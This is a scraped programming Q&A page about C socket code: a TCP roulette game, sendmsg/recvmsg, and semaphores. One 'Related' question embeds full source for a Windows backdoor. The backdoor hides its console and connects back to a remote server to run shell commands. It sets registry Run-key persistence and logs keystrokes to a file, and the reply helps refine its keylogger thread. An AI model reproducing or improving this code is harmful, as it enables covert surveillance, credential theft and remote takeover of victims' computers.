TCP server not waiting for client response? - c
I have been given the task to write a Roulette game, using TCP socket programming in C.
The code was working just fine, until I got close to finishing it, and for some unknown reason, it stopped working properly and I can't track down the error.
The code used to work with simple recv() calls, so I tried making the readn() function (actually got it from another post), however it did not solve the issue.
I might be overlooking the problem, which lies in the for (int i = 0 ; i < max_round ; i++) loop of the main() function.
Here is my server:
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
int
readn(int f, void *av, int n)
{
char *a;
int m, t;
a = av;
t = 0;
while(t < n){
m = read(f, a+t, n-t);
if(m <= 0){
if(t == 0)
return m;
break;
}
t += m;
}
return t;
}
typedef struct
{
int _count, _bet, _client, _currency;
int _numbers[3];
char *_color;
} Roulette;
int find_element(int searched, int numbers[], int count)
{
for (int i = 0; i < count; i++)
{
if (searched == numbers[i])
return 1;
}
return 0;
}
void Round_Results(Roulette *obj1, Roulette *obj2, const int size)
{
char *lose_msg = "Sajnos nem nyert ebben a korben!\n";
char *win_msg = "Gratulalok, ebben a korben nyert!\n";
char answer[size];
srand(time(NULL));
int winner_number = rand() % 10;
if ((find_element(winner_number, obj1->_numbers, obj1->_count) == 0) && (find_element(winner_number, obj1->_numbers, obj1->_count) == 0))
{
send(obj1->_client, lose_msg, size, 0);
obj1->_currency = obj1->_currency - obj1->_bet;
printf("%d", obj1->_currency);
sprintf(answer, "%d", obj1->_currency);
send(obj1->_client, answer, size, 0);
send(obj2->_client, lose_msg, size, 0);
obj2->_currency = obj2->_currency - obj2->_bet;
printf("%d", obj2->_currency);
sprintf(answer, "%d", obj2->_currency);
send(obj2->_client, answer, size, 0);
}
else if ((find_element(winner_number, obj1->_numbers, obj1->_count) == 1) && (find_element(winner_number, obj1->_numbers, obj1->_count) == 0))
{
send(obj1->_client, win_msg, size, 0);
obj1->_currency = obj1->_currency + obj1->_bet * (6 / obj1->_count);
printf("%d", obj1->_currency);
sprintf(answer, "%d", obj1->_currency);
send(obj1->_client, answer, size, 0);
send(obj2->_client, lose_msg, size, 0);
obj2->_currency = obj2->_currency - obj2->_bet;
printf("%d", obj2->_currency);
sprintf(answer, "%d", obj2->_currency);
send(obj2->_client, answer, size, 0);
}
else if ((find_element(winner_number, obj1->_numbers, obj1->_count) == 0) && (find_element(winner_number, obj1->_numbers, obj1->_count) == 1))
{
send(obj1->_client, lose_msg, size, 0);
obj1->_currency = obj1->_currency - obj1->_bet;
printf("%d", obj1->_currency);
sprintf(answer, "%d", obj1->_currency);
send(obj1->_client, answer, size, 0);
send(obj2->_client, win_msg, size, 0);
obj2->_currency = obj2->_currency + obj2->_bet * (6 / obj2->_count);
printf("%d", obj2->_currency);
sprintf(answer, "%d", obj2->_currency);
send(obj2->_client, answer, size, 0);
}
else if ((find_element(winner_number, obj1->_numbers, obj1->_count) == 1) && (find_element(winner_number, obj1->_numbers, obj1->_count) == 1))
{
send(obj1->_client, win_msg, size, 0);
obj1->_currency = obj1->_currency + obj1->_bet * (6 / obj1->_count);
printf("%d", obj2->_currency);
sprintf(answer, "%d", obj2->_currency);
send(obj1->_client, answer, size, 0);
send(obj2->_client, win_msg, size, 0);
obj2->_currency = obj2->_currency + obj2->_bet * (6 / obj1->_count);
printf("%d", obj2->_currency);
sprintf(answer, "%d", obj2->_currency);
send(obj2->_client, answer, size, 0);
}
}
void Initialize(int client, int count, int numbers[], int bet, char *color, Roulette *obj)
{
obj->_client = client;
obj->_count = count;
obj->_color = color;
obj->_bet = bet;
for (int i = 0; i < count; i++)
obj->_numbers[i] = numbers[i];
}
void Round_Information(int client, const int size, Roulette *obj)
{
char *message = malloc(size);
char *money_msg = "Mennyi zsetonba fogad?\n";
char *number_msg = "Melyik szamra fogad?\n[0-9]\n";
char *count_msg = "Mennyi szamra fogad?\n[1-3]\n";
char *color_msg = "Milyen szinre fogad?\n[black/red]\n";
int count = 0;
char *color;
int numbers[3];
int bet;
//Bet
send(client, money_msg, size, 0);
readn(client,message,size);
bet = atoi(message);
//Count
send(client, count_msg, size, 0);
readn(client,message,size);
count = atoi(message);
//Number/Numbers
for (int i = 0; i < count; i++)
{
send(client, number_msg, size, 0);
readn(client,message,size);
numbers[i] = atoi(message);
}
//Color
send(client, color_msg, size, 0);
readn(client,message,size);
color = message;
Initialize(client, count, numbers, bet, color, obj);
free(message);
return 0;
}
int main(int argc, char **argv)
{
if (argc < 2)
{
printf("tul keves argumentum!\nusage : ./valami PORT_NR\n");
exit(-1);
}
const int size = 50;
int max_round, starting_money;
int flag = 0;
int on = 1;
char *message = malloc(size);
char *round_msg = "Korok szama :\n";
char *greeting_msg = "Sikeresen csatlakozott a szerverre!\n";
char *waiting_msg = "A masik jatekosra varunk!\n";
char *win_msg = "Gratulalok !\nMegnyerte a jatekot!\n";
char *lose_msg = "Jatek vege !\nSajnos nem nyert!\n";
Roulette *obj1 = malloc(size);
Roulette *obj2 = malloc(size);
int server_socket = socket(AF_INET, SOCK_STREAM, flag);
if (server_socket < 0)
{
printf("Nem sikerult a socket-et letrehozni\n");
exit(-1);
}
struct sockaddr_in server_adress;
server_adress.sin_addr.s_addr = INADDR_ANY;
server_adress.sin_family = AF_INET;
server_adress.sin_port = atoi(argv[1]);
setsockopt(server_socket, SOL_SOCKET, SO_KEEPALIVE, (char *)&on, sizeof(on));
setsockopt(server_socket, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on));
int binding_server = bind(server_socket, (struct sockaddr *)&server_adress, sizeof(server_adress));
if (binding_server < 0)
{
printf("nem sikerult bindolni a szervert!\n");
exit(-1);
}
listen(server_socket, 2);
int client1 = accept(server_socket, NULL, NULL);
int client2 = accept(server_socket, NULL, NULL);
send(client1, greeting_msg, size, flag);
send(client2, greeting_msg, size, flag);
printf("Milyen hosszu legyen a jatek ? (Hany kor)\n");
scanf("%s", message);
max_round = atoi(message);
//Korok szama
send(client1, message, size, flag);
send(client2, message, size, flag);
printf("Mennyi zsetonnal kezdodjon a jatek?\n");
scanf("%s", message);
starting_money = atoi(message);
//Kezdo penz
send(client1, message, size, flag);
send(client2, message, size, flag);
obj1->_currency = starting_money;
obj2->_currency = starting_money;
for (int i = 0; i < max_round; i++)
{
Round_Information(client1, size, obj1);
Round_Information(client2, size, obj2);
Round_Results(obj1, obj2, size);
}
if (obj1->_currency > obj2->_currency)
{
send(obj1->_client, win_msg, size, flag);
send(obj2->_client, lose_msg, size, flag);
}
else if (obj1->_currency < obj2->_currency)
{
send(obj2->_client, win_msg, size, flag);
send(obj1->_client, lose_msg, size, flag);
}
else
{
send(obj1->_client, lose_msg, size, flag);
send(obj2->_client, lose_msg, size, flag);
}
close(client1);
close(client2);
close(server_socket);
free(message);
free(obj1);
free(obj2);
return 0;
}
Here is the Client:
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
void Round_Information(int client, const int size, int currency)
{
char *message = malloc(size);
char answer[size];
char *black = "black";
char *red = "red";
int count = 0;
memset(answer, 0, size);
//Bet
recv(client, message, size, 0);
if (currency == 0)
{
printf("Game over!\nVeszitett!\n");
close(client);
}
while (atoi(answer) < 1 || atoi(answer) > currency)
{
if (strcmp(answer, "befejeztem"))
{
close(client);
}
printf("%s", message);
scanf("%s", answer);
}
if (strcmp(answer, "befejeztem"))
{
close(client);
}
send(client, answer, size, 0);
answer[0] = '0';
//Count
recv(client, message, size, 0);
while (atoi(answer) < 1 || atoi(answer) > 3)
{
if (strcmp(answer, "befejeztem"))
{
close(client);
}
printf("%s", message);
scanf("%s", answer);
}
count = atoi(answer);
if (strcmp(answer, "befejeztem"))
{
close(client);
}
send(client, answer, size, 0);
//Number/Numbers
for (int i = 0; i < count; i++)
{
recv(client, message, size, 0);
answer[0] = 'z';
while (atoi(answer) <= 0 || atoi(answer) > 9)
{
if (strcmp(answer, "befejeztem"))
{
close(client);
}
printf("%s", message);
scanf("%s", answer);
}
if (strcmp(answer, "befejeztem"))
{
close(client);
}
send(client, answer, size, 0);
}
//Color
recv(client, message, size, 0);
while ((strcmp(answer, black) != 0) && (strcmp(answer, red) != 0))
{
if (strcmp(answer, "befejeztem"))
{
close(client);
}
printf("%s", message);
scanf("%s", answer);
}
if (strcmp(answer, "befejeztem"))
{
close(client);
}
send(client, answer, size, 0);
free(message);
}
void Round_Results(int client_socket, char *message, const int size, int *currency)
{
recv(client_socket, message, size, 0);
printf("%s\n", message);
recv(client_socket, message, size, 0);
(*currency) = atoi(message);
}
int main(int argc, char **argv)
{
if (argc < 2)
{
printf("tul keves argumentum!\nusage : ./valami PORT_NR\n");
exit(-1);
}
const int size = 50;
int flag = 0;
int max_round, currency;
int on = 1;
char message[size];
int client_socket = socket(AF_INET, SOCK_STREAM, flag);
if (client_socket < 0)
{
printf("Nem sikerult a socketet letrehozni!\n");
exit(-1);
}
struct sockaddr_in server_adress;
server_adress.sin_addr.s_addr = INADDR_ANY;
server_adress.sin_family = AF_INET;
server_adress.sin_port = atoi(argv[1]);
setsockopt(client_socket, SOL_SOCKET, SO_KEEPALIVE, (char *)&on, sizeof(on));
setsockopt(client_socket, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on));
int connection = connect(client_socket, (struct sockaddr *)&server_adress, sizeof(server_adress));
if (connection < 0)
{
printf("Nem sikerult kapcsolodni a szerverhez!\n");
exit(-1);
}
//Sikeres kapcsolodas
int receive = recv(client_socket, message, size, flag);
if (receive < 0)
{
printf("Nem sikerult megkapni az uzenetet!\n");
exit(-1);
}
printf("%s", message);
//Korok szama
receive = recv(client_socket, message, size, flag);
if (receive < 0)
{
printf("Nem sikerult megkapni az uzenetet!\n");
exit(-1);
}
printf("Korok szama :%s\n", message);
max_round = atoi(message);
//Kezdo penz
receive = recv(client_socket, message, size, flag);
if (receive < 0)
{
printf("Nem sikerult megkapni az uzenetet!\n");
exit(-1);
}
printf("Jelenlegi zsetonok mennyisege :%s\n", message);
currency = atoi(message);
for (int i = 0; i < max_round; i++)
{
Round_Information(client_socket, size, currency);
Round_Results(client_socket, message, size, ¤cy);
printf("Jelenlegi zseton :%d\n", currency);
}
recv(client_socket, message, size, flag);
printf("%s\n", message);
close(client_socket);
return 0;
}
It was not easy to read, since i do not know what the outputs mean, but i think i found your problem.
if (strcmp(answer, "befejeztem"))
{
close(client);
}
strcmp is 0 when the strings are equal. That means in almost every case you close the socket. Actually in the first loop answer is zero that means you are closing the socket right away. If you close the socket but the server tries to send data the program will receive the SIGPIPE signal and i think the default handler will just abort the program.
Try to change all these if statements to:
if(!strcmp(answer, "befejeztem"))
{
close(client);
}
Related
How to close this thread in C?
Is it possible to close thread from "keylog_start" else if statement in another else if statement with winapi? else if(strncmp("keylog_start", buffer, 12) == 0){ HANDLE thread = CreateThread(NULL, 0, logg, NULL, 0, NULL); goto jump; } else if(strncmp("keylog_stop", buffer, 11) == 0){ goto jump; } DWORD WINAPI logg(){ int vkey, last_key_state[0xFF]; int isCAPSLOCK,isNUMLOCK; int isL_SHIFT,isR_SHIFT; int isPressed; char showKey; char NUMCHAR[] = ")!##$%^&*("; char chars_vn[] = ";=,-./`"; char chars_vs[] = ":+<_>?~"; char chars_va[] = "[\\]\';"; char chars_vb[] = "{|}\""; FILE *kh; char KEY_LOG_FILE[] = "windows.txt"; for(vkey=0; vkey<0xFF;vkey++){ last_key_state[vkey] = 0; } while(1){ Sleep(10); isCAPSLOCK=(GetKeyState(0x14)&0xFF)>0?1:0; isNUMLOCK=(GetKeyState(0x90)&0xFF)>0?1:0; isL_SHIFT=(GetKeyState(0xA0)&0xFF00)>0?1:0; isR_SHIFT=(GetKeyState(0xA1)&0xFF00)>0?1:0; for(vkey=0; vkey<0xFF;vkey++){ isPressed=(GetKeyState(vkey)&0xFF00)>0?1:0; showKey=(char)vkey; if(isPressed==1 && last_key_state[vkey]==0){ if(vkey>=0x41 && vkey<=0x5A){ if(isCAPSLOCK==0){ if(isL_SHIFT==0 && isR_SHIFT==0){ showKey=(char)(vkey+0x20); } } else if(isL_SHIFT==1 || isR_SHIFT==1){ showKey=(char)(vkey+0x20); } } else if(vkey>=0x30 && vkey<=0x39){ if(isL_SHIFT==1 || isR_SHIFT==1){ showKey=NUMCHAR[vkey-0x30]; } } else if(vkey>=0x60 && vkey<=0x69 && isNUMLOCK==1){ showKey=(char)(vkey-0x30); } else if(vkey>=0xBA && vkey<=0xC0){ if(isL_SHIFT==1 || isR_SHIFT==1){ showKey=chars_vs[vkey-0xBA]; } else{ showKey=chars_vn[vkey-0xBA]; } } else if(vkey>=0xDB && vkey<=0xDF){ if(isL_SHIFT==1 || isR_SHIFT==1){ showKey=chars_vb[vkey-0xDB]; } else{ showKey=chars_va[vkey-0xDB]; } } else if(vkey==0x0D){ showKey=(char)0x0A; } else if(vkey>=0x6A && vkey<=0x6F){ showKey=(char)(vkey-0x40); } else if(vkey!=0x20 && vkey!=0x09){ showKey=(char)0x00; } if(showKey!=(char)0x00){ kh=fopen(KEY_LOG_FILE,"a"); putc(showKey,kh); fclose(kh); } } last_key_state[vkey]=isPressed; } } } #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <winsock2.h> #include <windows.h> #include <winuser.h> #include <wininet.h> #include <windowsx.h> #include <string.h> #include <sys/stat.h> #include <sys/types.h> #include "keylogger.h" #define bzero(p, size) (void) memset((p), 0, (size)) int sock; int bootRun(){ char err[128] = "Failed\n"; char suc[128] = "Created Persistence At : HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n"; TCHAR szPath[MAX_PATH]; DWORD pathLen = 0; pathLen = GetModuleFileName(NULL, szPath, MAX_PATH); if(pathLen == 0){ send(sock, err, sizeof(err), 0); return -1; } HKEY NewVal; if (RegOpenKey(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), &NewVal) != ERROR_SUCCESS){ send(sock, err, sizeof(err), 0); return -1; } DWORD pathLenInBytes = pathLen * sizeof(*szPath); if(RegSetValueEx(NewVal, TEXT("[XPOSED]Agent"), 0, REG_SZ, (LPBYTE)szPath, pathLenInBytes) != ERROR_SUCCESS){ RegCloseKey(NewVal); send(sock, err, sizeof(err), 0); return -1; } RegCloseKey(NewVal); send(sock, suc, sizeof(suc), 0); return 0; } char * str_cut(char str[], int slice_from, int slice_to){ if(str[0] == '\0') return NULL; char *buffer; size_t str_len, buffer_len; if(slice_to < 0 && slice_from > slice_to){ str_len = strlen(str); if (abs(slice_to) > str_len -1) return NULL; if (abs(slice_from) > str_len) slice_from = (-1) * str_len; buffer_len = slice_to - slice_from; str += (str_len + slice_from); } else if (slice_from >= 0 && slice_to > slice_from){ str_len = strlen(str); if (slice_from > str_len - 1) return NULL; buffer_len = slice_to - slice_from; str += slice_from; } else return NULL; buffer = calloc(buffer_len, sizeof(char)); strncpy(buffer, str, buffer_len); return buffer; } void Shell(){ char buffer[1024]; char container[1024]; char total_response[18384]; while(1){ jump: bzero(buffer,1024); bzero(container,sizeof(container)); bzero(total_response, sizeof(total_response)); recv(sock, buffer, 1024, 0); if(strncmp("q", buffer, 1) == 0){ closesocket(sock); WSACleanup(); exit(0); } else if(strncmp("cd ", buffer, 3) == 0){ chdir(str_cut(buffer,3,100)); } else if(strncmp("persist", buffer, 7) == 0){ bootRun(); } else if(strncmp("keylog_start", buffer, 12) == 0){ HANDLE thread = CreateThread(NULL, 0, logg, NULL, 0, NULL); goto jump; } else if(strncmp("keylog_stop", buffer, 11) == 0){ goto jump; } else{ FILE * fp; fp = _popen(buffer, "r"); while(fgets(container, 1024, fp) != NULL){ strcat(total_response, container); } send(sock, total_response, sizeof(total_response), 0); fclose(fp); } } } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow){ HWND stealth; AllocConsole(); stealth = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(stealth, 0); struct sockaddr_in ServAddr; unsigned short ServPort; char *ServIP; WSADATA wsaData; ServIP = ""; ServPort = 50005; if(WSAStartup(MAKEWORD(2,0), &wsaData) != 0){ exit(1); } sock = socket(AF_INET, SOCK_STREAM, 0); memset(&ServAddr, 0, sizeof(ServAddr)); ServAddr.sin_family = AF_INET; ServAddr.sin_addr.s_addr = inet_addr(ServIP); ServAddr.sin_port = htons(ServPort); start: while (connect(sock, (struct sockaddr *) &ServAddr, sizeof(ServAddr)) != 0){ Sleep(10); goto start; } /*MessageBox(NULL, TEXT("You have been pwned!"), TEXT("[XPOSED]Agent"), MB_OK | MB_ICONERROR); */ Shell(); }
Modify your logg function as follows. I'm not sure how you aren't getting a warning about your thread function missing a void* parameter. Perhaps C is more relaxed in the type checking. struct LogOptions { CRITICAL_SECTION cs; bool isExitCondition; }; DWORD WINAPI logg(void* args){ ... LogOptions* pOptions = (LogOptions*)args; ... while(1){ bool isExit = false; EnterCriticalSection(&pOptions->cs); isExit = pOptions->isExitCondition; LeaveCriticalSection(&pOptions->cs); if (isExit) { break; } Sleep(10); Create your thread like this: LogOptions* pOptions = malloc(sizeof(LogOptions)); pOptions->isExitCondition = false; InitializeCriticalSection(&pOptions->cs); HANDLE thread = CreateThread(NULL, 0, logg, pOptions, 0, NULL); When it's time to stop your thread, do this: // signal the thread to exit by setting the shared variable to true EnterCriticalSection(&pOptions->cs); pOptions->isExitCondition = true; LeaveCriticalSection(&pOptions->cs); // wait for thread to exit WaitForSingleObject(thread, INFINITE); // release resources CloseHandle(thread); free(pOptions); It's up to you how you will store and pass thread and pOptions around.
How do I solve "expected a ';' in C"
I'm trying to finish my network programming practice. And I came through this problem which I couldn't fix. It might seem stupid but I had spent an afternoon on it. I would really appreciate if anyone could help me out. Here is the code, the error is within #ifdef process_conn_server_2 segment. #include <stdio.h> #include <sys/uio.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <fcntl.h> #include <sys/types.h> #include "process_num.c" #define process_conn_client_2 #define process_conn_server_2 static struct iovec *vs = NULL, *vc = NULL; void sig_process(int signo) { printf("Catch ax exit signal\n"); free(vc); free(vs); _exit(0); } void sig_pipe(int signo) { printf("Catch a SIGPIPE signal\n"); free(vc); free(vs); _exit(0); } #ifdef process_conn_client_0 void process_conn_client(int s) { ssize_t size = 0; char buffer[1024]; for (;;) { size = read(0, buffer, 1024); // size = recv(s, buffer, 1024, 0); if (size > 0) { send(s, buffer, size, 0); size = recv(s, buffer, 1024, 0); write(1, buffer, size); } } } #endif // read、send、write #ifdef process_conn_client_1 void process_conn_client(int s) { char buffer[30]; ssize_t size = 0; struct iovec *v = (struct iovec *)malloc(3 * sizeof(struct iovec)); if (!v) { printf("Not enough memory\n"); return; } vc = v; v[0].iov_base = buffer; v[1].iov_base = buffer + 10; v[2].iov_base = buffer + 20; v[0].iov_len = v[1].iov_len = v[2].iov_len = 10; int i = 0; for (;;) { size = read(0, v[0].iov_base, 10); if (size > 0) { v[0].iov_len = size; writev(s, v, 1); v[0].iov_len = v[1].iov_len = v[2].iov_len = 10; size = readv(s, v, 3); for (i = 0; i < 3; i++) { if (v[i].iov_len > 0) { write(1, v[i].iov_base, v[i].iov_len); } } } } } #endif // read writev readv #ifdef process_conn_client_2 void process_conn_client(int s) { char buffer[30]; ssize_t size = 0; struct msghdr msg; struct iovec *v = (struct iovec *)malloc(3 * sizeof(struct iovec)); if (!v) { perror("wrong: allocate memory\n"); return; } msg.msg_name = NULL; msg.msg_namelen = 0; msg.msg_control = NULL; msg.msg_controllen = 0; msg.msg_iov = v; msg.msg_iovlen = 3; msg.msg_flags = 0; vc = v; v[0].iov_base = buffer; v[1].iov_base = buffer + 10; v[2].iov_base = buffer + 20; v[0].iov_len = v[1].iov_len = v[2].iov_len = 10; // int fd; for (;;) { // fd = open("firstfile.txt", O_RDONLY, 0666); size = read(0, v[0].iov_base, 10); printf("%d size\n", size); if (size > 0) { v[0].iov_len = size; if (sendmsg(s, &msg, 0) < 0) { perror(""); return; } v[0].iov_len = v[1].iov_len = v[2].iov_len = 10; memset(v[0].iov_base, '\0', v[0].iov_len); memset(v[1].iov_base, '\0', v[1].iov_len); memset(v[2].iov_base, '\0', v[2].iov_len); size = recvmsg(s, &msg, 0); for (int i = 0; i < 3; i++) { if (v[i].iov_len > 0) { write(1, v[i].iov_base, v[i].iov_len); write(1, '\n', 1); } } memset(v[0].iov_base, '\0', v[0].iov_len); memset(v[1].iov_base, '\0', v[1].iov_len); memset(v[2].iov_base, '\0', v[2].iov_len); } } #endif // sendmsg recvmsg #ifdef process_conn_server_0 void process_conn_server(int s) { ssize_t size = 0; char buffer[1024]; float result; for (;;) { // size = read(s, buffer, 1024); size = recv(s, buffer, 1024, 0); if (size == 0) { return; } printf("received %s", buffer); result = process_num(buffer); if (result == 65535) { sprintf(buffer, "%d bytes in total.\n", size); } else { printf("%f\n", result); sprintf(buffer, "the result is %f.\n", result); } //write(s, buffer, strlen(buffer) + 1); send(s, buffer, strlen(buffer) + 1, 0); memset(buffer, '\0', sizeof(buffer)); } } #endif //recv send #ifdef process_conn_server_1 void process_conn_server(int s) { char buffer[30]; ssize_t size = 0; struct iovec *v = (struct iovec *)malloc(3 * sizeof(struct iovec)); if (!v) { printf("Not enough memory\n"); return; } vs = v; v[0].iov_base = buffer; v[1].iov_base = buffer + 10; v[2].iov_base = buffer + 20; v[0].iov_len = v[1].iov_len = v[2].iov_len = 10; for (;;) { size = readv(s, v, 3); if (size == 0) { return; } sprintf(v[0].iov_base, "%d ", size); sprintf(v[1].iov_base, "bytes alt"); sprintf(v[2].iov_base, "ogether\n"); v[0].iov_len = strlen(v[0].iov_base); v[1].iov_len = strlen(v[1].iov_base); v[2].iov_len = strlen(v[2].iov_base); writev(s, v, 3); } } #endif // readv writev #ifdef process_conn_server_2 void process_conn_server(int s) { //this is where the error appears char buffer[30]; ssize_t size = 0; struct msghdr msg; struct iovec *v = (struct iovec *)malloc(3 * sizeof(struct iovec)); if (!v) { perror("wrong: allocate memory\n"); return; } msg.msg_name = NULL; msg.msg_namelen = 0; msg.msg_control = NULL; msg.msg_controllen = 0; msg.msg_iov = v; msg.msg_iovlen = 3; msg.msg_flags = 0; vs = v; v[0].iov_base = buffer; v[1].iov_base = buffer + 10; v[2].iov_base = buffer + 20; v[0].iov_len = v[1].iov_len = v[2].iov_len = 10; for (;;) { size = recvmsg(s, &msg, 0); if (size == 0) { return; } sprintf(v[0].iov_base, "%d ", size); sprintf(v[1].iov_base, "bytes alt"); sprintf(v[2].iov_base, "ogether\n"); v[0].iov_len = strlen(v[0].iov_base); v[1].iov_len = strlen(v[1].iov_base); v[2].iov_len = strlen(v[2].iov_base); for (int i = 0; i < 3; i++) { if (v[i].iov_len > 0) { write(1, v[i].iov_base, v[i].iov_len); write(1, '\n', 1); } } sendmsg(s, &msg, 0); memset(v[0].iov_base, '\0', v[0].iov_len); memset(v[1].iov_base, '\0', v[1].iov_len); memset(v[2].iov_base, '\0', v[2].iov_len); } } #endif I dont't know if this would be of any help but the code works just fine when I define process_conn_server/client 0/1 instead of 2.
when process_conn_client_2 is defined, you don't seem to close process_conn_client(), therefore opening another function after that gives you an error. You can see that from the indentation
Just for total clarification. There is missing a closing bracket } at the end of the definition of process_conn_client_2 to terminate the function definition. Hence the error. I marked the place of issue with the correct placed } in this snippet: #ifdef process_conn_client_2 void process_conn_client(int s) { char buffer[30]; ssize_t size = 0; struct msghdr msg; struct iovec *v = (struct iovec *)malloc(3 * sizeof(struct iovec)); if (!v) { perror("wrong: allocate memory\n"); return; } msg.msg_name = NULL; msg.msg_namelen = 0; msg.msg_control = NULL; msg.msg_controllen = 0; msg.msg_iov = v; msg.msg_iovlen = 3; msg.msg_flags = 0; vc = v; v[0].iov_base = buffer; v[1].iov_base = buffer + 10; v[2].iov_base = buffer + 20; v[0].iov_len = v[1].iov_len = v[2].iov_len = 10; // int fd; for (;;) { // fd = open("firstfile.txt", O_RDONLY, 0666); size = read(0, v[0].iov_base, 10); printf("%d size\n", size); if (size > 0) { v[0].iov_len = size; if (sendmsg(s, &msg, 0) < 0) { perror(""); return; } v[0].iov_len = v[1].iov_len = v[2].iov_len = 10; memset(v[0].iov_base, '\0', v[0].iov_len); memset(v[1].iov_base, '\0', v[1].iov_len); memset(v[2].iov_base, '\0', v[2].iov_len); size = recvmsg(s, &msg, 0); for (int i = 0; i < 3; i++) { if (v[i].iov_len > 0) { write(1, v[i].iov_base, v[i].iov_len); write(1, '\n', 1); } } memset(v[0].iov_base, '\0', v[0].iov_len); memset(v[1].iov_base, '\0', v[1].iov_len); memset(v[2].iov_base, '\0', v[2].iov_len); } } } // <------- HERE #endif // sendmsg recvmsg I voted to close this question as caused by typo.
Semaphore values are not changing in Ubuntu
I'm trying to create a solution for the River Crossing Problem from "The Little Book of Semaphores" (Chapter 5, section 7, page 148), I'm using an Ubuntu virtual machine in my PC. The problem is that the semaphores I created are not changing values, all of them stay at 0, I'm using four files. What I do is, run buffer and then create two hacker processes and then two serf processes, the thing is that the "Boarding a X" message is printed before the boat is filled (at least four passengers) and when I print the semaphore values all of them are in 0. header.h, where I declare Semaphore ids and operations: #ifndef SEMAFOROS_H #define SEMAFOROS_H #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/ipc.h> #include <sys/sem.h> #include <sys/shm.h> #define BARRIER 10 #define MUTEX 11 #define SERFQUEUE 12 #define HACKERQUEUE 13 struct buffer { int hackers; int serfs; }; int sem_wait(int semid, int sem_num, int val) { struct sembuf op; op.sem_num = sem_num; op.sem_op = -val; op.sem_flg = 0; return semop(semid, &op, 1); } int sem_signal(int semid, int sem_num, int val) { struct sembuf op; op.sem_num = sem_num; op.sem_op = val; op.sem_flg = 0; return semop(semid, &op, 1); } int mutex_wait(int semid, int sem_num) { return sem_wait(semid, sem_num, 1); } int mutex_signal(int semid, int sem_num) { return sem_signal(semid, sem_num, 1); } #endif buffer.c, where I create the semaphores: #include "header.h" int main(int argc, char* argv[]) { int semid, shmid, i; key_t key; if (argc != 1) { printf("usage: %s\n", argv[0]); return -1; } if ( (key = ftok("/dev/null", 65)) == (key_t) -1 ) { perror(argv[0]); return -1; } if ( (semid = semget(key, 4, 0666 | IPC_CREAT)) < 0 ) { perror(argv[0]); return -1; } semctl(semid, BARRIER, SETVAL, 4); semctl(semid, MUTEX, SETVAL, 1); semctl(semid, SERFQUEUE, SETVAL, 0); semctl(semid, HACKERQUEUE, SETVAL, 0); unsigned short final_values[4]; semctl(semid, 0, GETALL, final_values); for (i = 0; i < 4; i++) { printf("%3i", final_values[i]); } printf("\n"); if ( (shmid = shmget(key, sizeof(struct buffer), 0666 | IPC_CREAT)) < 0) { semctl(semid, 0, IPC_RMID, 0); perror("shmget"); return -1; } struct buffer *b = (struct buffer *) shmat(shmid, (void *) 0, 0); b->hackers = 0; b->serfs = 0; shmdt(b); return 0; } hackers.c, code for hackers: #include "header.h" #include <time.h> void a_hacker(char* program) { int semid, shmid, i, k, isCaptain = 0; key_t key; struct buffer *b; if ( (key = ftok("/dev/null", 65)) == (key_t) -1 ) { perror(program); exit(-1); } if ( (semid = semget(key, 4, 0666)) < 0 ) { perror(program); exit(-1); } if ( (shmid = shmget(key, sizeof(struct buffer), 0666)) < 0 ) { perror("shmid"); exit(-1); } b = (struct buffer *) shmat(shmid, (void *) 0, 0); mutex_wait(semid, MUTEX); b->hackers += 1; if (b->hackers == 4) { sem_signal(semid, HACKERQUEUE, 4); b->hackers = 0; isCaptain = 1; } else if (b->hackers == 2 && b->serfs >= 2) { sem_signal(semid, HACKERQUEUE, 2); sem_signal(semid, SERFQUEUE, 2); b->hackers = 0; b->serfs -= 2; isCaptain = 1; } else { mutex_signal(semid, MUTEX); } unsigned short final_values[4]; semctl(semid, 0, GETALL, final_values); for (i = 0; i < 4; i++) { printf("%3i", final_values[i]); } printf("\n"); sem_wait(semid, HACKERQUEUE, 1); printf("Boarding a hacker\n"); semctl(semid, 0, GETALL, final_values); for (i = 0; i < 4; i++) { printf("%3i", final_values[i]); } printf("\n"); sem_wait(semid, BARRIER, 1); if (isCaptain) { printf("Fugaaaa\n"); mutex_signal(semid, MUTEX); } sem_signal(semid, BARRIER, 2); shmdt(b); exit(0); } int main(int argc, char* argv[]) { int amount_hackers = 0, semid, i, pid; key_t key; if (argc != 2) { printf("usage: %s amount_of_serfs amount_of_hackers\n", argv[0]); return -1; } amount_hackers = atoi(argv[1]); if (amount_hackers < 1) { printf("%s: The amount_of_hackers must be a positive number greater than zero.\n", argv[0]); return -1; } for (i = 0; i < amount_hackers; i++) { if ( (pid = fork()) < 0 ) { perror("fork"); return -1; } else if (pid == 0) { a_hacker(argv[0]); } else { } } return 0; } serfs.c, code for serfs: #include "header.h" #include <time.h> void a_serf(char* program) { int semid, shmid, i, k, isCaptain = 0; key_t key; struct buffer *b; if ( (key = ftok("/dev/null", 65)) == (key_t) -1 ) { perror(program); exit(-1); } if ( (semid = semget(key, 4, 0666)) < 0 ) { perror(program); exit(-1); } if ( (shmid = shmget(key, sizeof(struct buffer), 0666)) < 0 ) { perror("shmid"); exit(-1); } b = (struct buffer *) shmat(shmid, (void *) 0, 0); mutex_wait(semid, MUTEX); b->serfs += 1; if (b->serfs == 4) { sem_signal(semid, SERFQUEUE, 4); b->serfs = 0; isCaptain = 1; } else if (b->hackers == 2 && b->serfs >= 2) { sem_signal(semid, HACKERQUEUE, 2); sem_signal(semid, SERFQUEUE, 2); b->serfs = 0; b->hackers -= 2; isCaptain = 1; } else { mutex_signal(semid, MUTEX); } unsigned short final_values[4]; semctl(semid, 0, GETALL, final_values); for (i = 0; i < 4; i++) { printf("%3i", final_values[i]); } printf("\n"); sem_wait(semid, SERFQUEUE, 1); printf("Boarding a 